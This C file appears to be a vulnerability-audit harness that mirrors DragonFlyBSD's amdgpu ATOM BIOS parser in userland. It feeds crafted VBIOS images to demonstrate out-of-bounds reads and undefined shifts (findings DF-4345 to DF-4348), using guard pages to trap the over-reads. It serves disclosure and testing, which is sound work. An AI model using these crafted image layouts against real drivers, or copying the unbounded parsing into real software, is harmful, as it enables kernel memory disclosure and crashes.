/*
 * atom_harness.c — userland mirror of DragonFlyBSD
 * sys/dev/drm/amd/amdgpu/atom.c logic (the amdgpu twin of the DF-4337
 * radeon harness), built and run ON THE AUDIT GUEST (DragonFly
 * 6.5-DEVELOPMENT, gcc 8.3) as logic-level PoC evidence for
 * DF-4345 (no bios_size in atom_context — central hub)
 * DF-4346 (atom_index_iio OOB opcode index)
 * DF-4347 (part-number string walked/printed past the image)
 * DF-4348 (undefined shift counts).
 *
 * The kernel expressions are copied VERBATIM from
 * sys/dev/drm/amd/amdgpu/atom.c (DRM_INFO and pr_info mapped to printf;
 * atom_iio_len is relocated onto a page-guarded mapping so an
 * out-of-range index traps instead of silently reading adjacent .data).
 * A SIGSEGV in a guarded case therefore proves the identical expression
 * reads out of bounds of the intended object.
 *
 * The kernel runtime itself is gated on amdgpu/ATOM hardware (the guest
 * has none — QEMU bochs vga 0x1234:1111 only; see env.txt); see VERDICT.md
 * for why this mirror is the evidence.
 *
 * Build:  cc -O1 -g -o atom_harness atom_harness.c
 * Run:    ./atom_harness <case>
 *   case in {data_header, cmd_header, id_operand, master_entry, iio,
 *            partstr, asic_fwi, fetchloop, shift}
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <unistd.h>

#define pr_info(...)   do { if (getenv("VERBOSE")) printf(__VA_ARGS__); } while (0)
#define DRM_ERROR(...) do { printf("DRM_ERROR: " __VA_ARGS__); } while (0)

typedef uint16_t u16;

/* ---- atom-bits.h verbatim ---- */
static inline uint8_t get_u8(void *bios, int ptr)
{
	return ((unsigned char *)bios)[ptr];
}
static inline uint16_t get_u16(void *bios, int ptr)
{
	return get_u8(bios, ptr) | (((uint16_t)get_u8(bios, ptr + 1)) << 8);
}
static inline uint32_t get_u32(void *bios, int ptr)
{
	return get_u16(bios, ptr) | (((uint32_t)get_u16(bios, ptr + 2)) << 16);
}
#define CU8(ptr)  get_u8(ctx->bios, (ptr))
#define CU16(ptr) get_u16(ctx->bios, (ptr))
#define CU32(ptr) get_u32(ctx->bios, (ptr))
#define CSTR(ptr) (((char *)(ctx->bios)) + (ptr))
#define U8(ptr)   get_u8(ctx->bios, (ptr))
#define U16(ptr)  get_u16(ctx->bios, (ptr))
#define U32(ptr)  get_u32(ctx->bios, (ptr))

struct atom_context {
	void *bios;
	uint32_t cmd_table, data_table;
	uint16_t *iio;
	uint16_t data_block;
	uint8_t shift;
	char vbios_version[20];
};

/* page-guarded allocations: object ends exactly at a large PROT_NONE
 * region, so any forward OOB read (atom offsets reach up to 128KB past
 * the image) traps instead of hitting an unrelated mapping */
static void *guarded_alloc(size_t sz)
{
	long ps = 4096;
	size_t guard = (size_t)16 * 1024 * 1024;	/* 16MB trap region */
	size_t len = (size_t)ps + guard;
	char *base = mmap(NULL, len, PROT_READ | PROT_WRITE,
			  MAP_PRIVATE | MAP_ANON, -1, 0);
	if (base == MAP_FAILED) { perror("mmap"); exit(3); }
	if (mprotect(base + ps, guard, PROT_NONE) != 0) { perror("mprotect"); exit(3); }
	return base + ps - sz;		/* object ends at the guard boundary */
}

/* =====================================================================
 * DF-4345 case 1: amdgpu_atom_parse_data_header (atom.c:1384-1403)
 * — verbatim.
 * ===================================================================== */
bool amdgpu_atom_parse_data_header(struct atom_context *ctx, int index,
			    uint16_t * size, uint8_t * frev, uint8_t * crev,
			    uint16_t * data_start)
{
	int offset = index * 2 + 4;
	int idx = CU16(ctx->data_table + offset);
	u16 *mdt = (u16 *)(ctx->bios + ctx->data_table + 4);

	if (!mdt[index])
		return false;

	if (size)
		*size = CU16(idx);
	if (frev)
		*frev = CU8(idx + 2);
	if (crev)
		*crev = CU8(idx + 3);
	*data_start = idx;
	return true;
}

/* =====================================================================
 * DF-4345 case 2: amdgpu_atom_parse_cmd_header (atom.c:1405-1420)
 * — verbatim.
 * ===================================================================== */
bool amdgpu_atom_parse_cmd_header(struct atom_context *ctx, int index, uint8_t * frev,
			   uint8_t * crev)
{
	int offset = index * 2 + 4;
	int idx = CU16(ctx->cmd_table + offset);
	u16 *mct = (u16 *)(ctx->bios + ctx->cmd_table + 4);

	if (!mct[index])
		return false;

	if (frev)
		*frev = CU8(idx + 2);
	if (crev)
		*crev = CU8(idx + 3);
	return true;
}

/* =====================================================================
 * DF-4345 case 3: ATOM_ARG_ID operand fetch — atom.c:259-269 verbatim
 * (idx = U16(*ptr); val = U32(idx + gctx->data_block)).
 * ===================================================================== */
static uint32_t atom_arg_id_read(struct atom_context *ctx, int opnd_off)
{
	uint32_t idx, val;

	idx = U16(opnd_off);			/* operand bytes in image */
	val = U32(idx + ctx->data_block);	/* atom.c:268 — unbounded */
	return val;
}

/* =====================================================================
 * DF-4345 case 4: atom_op_calltable (atom.c:610-624) /
 * atom_op_setdatablock (atom.c:859-871) master-entry reads — verbatim.
 * ===================================================================== */
static uint32_t calltable_entry_read(struct atom_context *ctx, int idx)
{
	return U16(ctx->cmd_table + 4 + 2 * idx);	/* atom.c:619 */
}
static uint32_t setdatablock_entry_read(struct atom_context *ctx, int idx)
{
	return U16(ctx->data_table + 4 + 2 * idx);	/* atom.c:869 */
}

/* =====================================================================
 * DF-4346 case: atom_index_iio (atom.c:1280-1294) — verbatim logic.
 * atom_iio_len is the same 10-int static table, but placed on a guarded
 * mapping so the OOB index traps instead of reading adjacent globals.
 * ===================================================================== */
#define ATOM_IIO_START	1
#define ATOM_IIO_END	9

static int *atom_iio_len;		/* -> guarded 10-int table */

static void atom_index_iio(struct atom_context *ctx, int base)
{
	ctx->iio = calloc(256, 2);
	if (!ctx->iio)
		return;
	while (CU8(base) == ATOM_IIO_START) {
		ctx->iio[CU8(base + 1)] = base + 2;
		base += 2;
		while (CU8(base) != ATOM_IIO_END)
			base += atom_iio_len[CU8(base)];	/* atom.c:1291 */
		base += 3;
	}
}

/* =====================================================================
 * DF-4347 case: amdgpu_atom_parse() tail (atom.c:1340-1348) — verbatim.
 * The part-number pointer is an unvalidated 16-bit VBIOS offset; the
 * message is printed with %s and copied with strlcpy — both walk the
 * source until a NUL, which may lie arbitrarily far past the image.
 * ===================================================================== */
#define ATOM_ROM_PART_NUMBER_PTR	0x6E

static void amdgpu_atom_parse_partstr(struct atom_context *ctx)
{
	char *str;
	u16 idx;

	idx = CU16(ATOM_ROM_PART_NUMBER_PTR);
	if (idx == 0)
		idx = 0x80;

	str = CSTR(idx);
	if (*str != '\0') {
		pr_info("ATOM BIOS: %s\n", str);		/* atom.c:1346 */
		strlcpy(ctx->vbios_version, str,		/* atom.c:1347 */
		    sizeof(ctx->vbios_version));
	}
}

/* =====================================================================
 * DF-4345 case 5: amdgpu_atom_asic_init FWI chain (atom.c:1354-1368)
 * — verbatim reads.
 * ===================================================================== */
#define ATOM_DATA_FWI_PTR	0xC
#define ATOM_FWI_DEFSCLK_PTR	8
#define ATOM_FWI_DEFMCLK_PTR	0xC
#define ATOM_CMD_INIT		0

static int amdgpu_atom_asic_init_reads(struct atom_context *ctx, uint32_t ps[16])
{
	int hwi = CU16(ctx->data_table + ATOM_DATA_FWI_PTR);	/* atom.c:1356 */

	memset(ps, 0, 64);
	ps[0] = CU32(hwi + ATOM_FWI_DEFSCLK_PTR);		/* atom.c:1362 */
	ps[1] = CU32(hwi + ATOM_FWI_DEFMCLK_PTR);		/* atom.c:1363 */
	if (!ps[0] || !ps[1])
		return 1;
	return 0;
}

/* =====================================================================
 * DF-4345 case 6: the interpreter fetch loop
 * (amdgpu_atom_execute_table_locked, atom.c:1198-1257) — verbatim
 * skeleton.  NOP (90) keeps the pointer advancing one byte per
 * iteration; nothing bounds ptr, so an opcode stream that runs to the
 * image end walks straight past the allocation.
 * ===================================================================== */
#define ATOM_OP_CNT	127
#define ATOM_OP_EOT	91

static int fetch_loop(struct atom_context *ctx, int index)
{
	int base = CU16(ctx->cmd_table + 4 + 2 * index);	/* atom.c:1200 */
	int len, ws, ps, ptr;
	unsigned char op;
	int ret = 0;

	if (!base)
		return -1;

	len = CU16(base + 0);			/* ATOM_CT_SIZE_PTR */
	ws = CU8(base + 4);			/* ATOM_CT_WS_PTR   */
	ps = CU8(base + 5) & 0x7F;		/* ATOM_CT_PS_PTR   */
	ptr = base + 6;				/* ATOM_CT_CODE_PTR */

	(void)len; (void)ws; (void)ps;
	while (1) {
		op = CU8(ptr++);			/* atom.c:1229 */
		if (op < ATOM_OP_CNT && op > 0) {
			if (op == 90)			/* NOP: no operand */
				continue;
			if (op == ATOM_OP_EOT)
				break;
			continue;			/* other ops: irrelevant here */
		} else
			break;
	}
	return ret;
}

/* =====================================================================
 * DF-4348 case: UB shift counts — verbatim expressions from
 * atom_op_shl (atom.c:946-963, shift is a full VBIOS-controlled u32),
 * WS OR_MASK (atom.c:241, gctx->shift set from a u32 write at 508) and
 * the IIO masks (atom.c:120-122, >> (32 - CU8(base+1)) with width 0).
 * ===================================================================== */
static void shift_ub_demo(void)
{
	uint32_t dst = 0x0000FFFFu, shift = 40;
	uint32_t r40 = (dst << shift);		/* UB: count >= 32 */
	uint32_t r8  = (dst << 8);
	uint32_t temp = 0x12345678u;
	uint8_t width = 0;
	uint32_t masked = temp & ~((0xFFFFFFFFu >> (32 - width)) << 3); /* UB: >> 32 */
	uint8_t gshift = 200;			/* gctx->shift is u8, set from u32 */
	uint32_t ormask = 1 << gshift;		/* atom.c:241 — UB */

	printf("  (0x%x << 40)=0x%08x  vs (0x%x << 8)=0x%08x  -> %s\n",
	       dst, r40, dst, r8,
	       r40 == r8 ? "PLATFORM-MASKED (shift%%32): UB relied upon"
	                 : "divergent");
	printf("  IIO mask width=0: >>32 gives 0x%08x (UB relied upon)\n", masked);
	printf("  WS OR_MASK shift=200: 1<<200 = 0x%08x (UB relied upon)\n", ormask);
}

int main(int argc, char **argv)
{
	const char *cs = argc > 1 ? argv[1] : "data_header";
	printf("case: %s\n", cs);

	if (!strcmp(cs, "data_header")) {
		/* 512-byte image; master data entry 0 points at 0x8000 —
		 * 32KB past the allocation.  amdgpu_bios.c accepts images
		 * whose only length proof is check_atom_bios()'s
		 * bios_header_start+4 <= size; 512 is plenty legal. */
		struct atom_context sctx, *ctx = &sctx;
		memset(&sctx, 0, sizeof(sctx));
		ctx->bios = guarded_alloc(512);
		ctx->data_table = 0x20;
		((uint8_t *)ctx->bios)[0x24] = 0x00;	/* mdt[0] = 0x8000 */
		((uint8_t *)ctx->bios)[0x25] = 0x80;
		uint16_t size = 0, data_start = 0;
		bool ok = amdgpu_atom_parse_data_header(ctx, 0, &size, NULL, NULL, &data_start);
		printf("  SURVIVED: ok=%d size=0x%04x start=0x%04x (no trap)\n",
		       ok, size, data_start);
		return 0;
	}
	if (!strcmp(cs, "cmd_header")) {
		struct atom_context sctx, *ctx = &sctx;
		memset(&sctx, 0, sizeof(sctx));
		ctx->bios = guarded_alloc(512);
		ctx->cmd_table = 0x20;
		((uint8_t *)ctx->bios)[0x24] = 0x00;	/* mct[0] = 0x8000 */
		((uint8_t *)ctx->bios)[0x25] = 0x80;
		uint8_t frev = 0, crev = 0;
		bool ok = amdgpu_atom_parse_cmd_header(ctx, 0, &frev, &crev);
		printf("  SURVIVED: ok=%d frev=%u crev=%u (no trap)\n", ok, frev, crev);
		return 0;
	}
	if (!strcmp(cs, "id_operand")) {
		struct atom_context sctx, *ctx = &sctx;
		memset(&sctx, 0, sizeof(sctx));
		ctx->bios = guarded_alloc(512);
		ctx->data_block = 0x8000;		/* set by setdatablock/WS */
		((uint8_t *)ctx->bios)[0x10] = 0xFC;	/* operand idx = 0xFFFC */
		((uint8_t *)ctx->bios)[0x11] = 0xFF;
		uint32_t v = atom_arg_id_read(ctx, 0x10);
		printf("  SURVIVED: ID value = 0x%08x (no trap)\n", v);
		return 0;
	}
	if (!strcmp(cs, "master_entry")) {
		struct atom_context sctx, *ctx = &sctx;
		memset(&sctx, 0, sizeof(sctx));
		ctx->bios = guarded_alloc(512);
		ctx->cmd_table = 0x20;
		ctx->data_table = 0x30;
		/* calltable idx 250 -> read at 0x24+500 = 536 > 512:
		 * the master-entry read itself (atom.c:619 / :869) is
		 * unbounded for any idx the VBIOS encodes */
		uint32_t v1 = calltable_entry_read(ctx, 250);	/* 536 > 512 */
		uint32_t v2 = setdatablock_entry_read(ctx, 250); /* 552 > 512 */
		printf("  SURVIVED: ct=%04x db=%04x (no trap)\n", v1, v2);
		return 0;
	}
	if (!strcmp(cs, "iio")) {
		struct atom_context sctx, *ctx = &sctx;
		memset(&sctx, 0, sizeof(sctx));
		ctx->bios = guarded_alloc(512);
		atom_iio_len = guarded_alloc(10 * sizeof(int));
		{ static const int lens[10] = {1,2,3,3,3,3,4,4,4,3};
		  memcpy(atom_iio_len, lens, sizeof(lens)); }
		uint8_t *b = ctx->bios;
		b[0x40] = ATOM_IIO_START;
		b[0x41] = 0x05;			/* iio method 5 */
		b[0x42] = 200;			/* opcode 200 -> atom_iio_len[200] */
		atom_index_iio(ctx, 0x40);
		printf("  SURVIVED: iio walk done (no trap)\n");
		return 0;
	}
	if (!strcmp(cs, "partstr")) {
		/* part-number string fills the image to its end: no NUL
		 * inside the image -> %s/strlcpy walk past the allocation */
		struct atom_context sctx, *ctx = &sctx;
		memset(&sctx, 0, sizeof(sctx));
		size_t sz = 512;
		ctx->bios = guarded_alloc(sz);
		((uint8_t *)ctx->bios)[0x6E] = 0x00;	/* idx low  */
		((uint8_t *)ctx->bios)[0x6F] = 0x01;	/* idx high -> 0x100 */
		memset((uint8_t *)ctx->bios + 0x100, 'B', sz - 0x100);
		amdgpu_atom_parse_partstr(ctx);
		printf("  SURVIVED: vbios_version='%s' (no trap)\n",
		       ctx->vbios_version);
		return 0;
	}
	if (!strcmp(cs, "asic_fwi")) {
		struct atom_context sctx, *ctx = &sctx;
		memset(&sctx, 0, sizeof(sctx));
		ctx->bios = guarded_alloc(512);
		ctx->data_table = 0x20;
		((uint8_t *)ctx->bios)[0x2C] = 0xF8;	/* hwi = 0xFFF8 */
		((uint8_t *)ctx->bios)[0x2D] = 0xFF;
		uint32_t ps[16];
		int r = amdgpu_atom_asic_init_reads(ctx, ps);
		printf("  SURVIVED: ret=%d ps0=0x%08x ps1=0x%08x (no trap)\n",
		       r, ps[0], ps[1]);
		return 0;
	}
	if (!strcmp(cs, "fetchloop")) {
		/* command table entry 0 -> base 0x200; code = NOP stream to
		 * the (guarded) image end: the unbounded fetch walks past */
		struct atom_context sctx, *ctx = &sctx;
		memset(&sctx, 0, sizeof(sctx));
		size_t sz = 512;
		ctx->bios = guarded_alloc(sz);
		ctx->cmd_table = 0x20;
		((uint8_t *)ctx->bios)[0x24] = 0x00;	/* entry 0 = 0x200 */
		((uint8_t *)ctx->bios)[0x25] = 0x02;
		memset((uint8_t *)ctx->bios + 0x200, 90, sz - 0x200);	/* NOPs */
		int r = fetch_loop(ctx, 0);
		printf("  SURVIVED: ret=%d (no trap)\n", r);
		return 0;
	}
	if (!strcmp(cs, "shift")) {
		shift_ub_demo();
		return 0;
	}
	fprintf(stderr, "unknown case %s\n", cs);
	return 2;
}
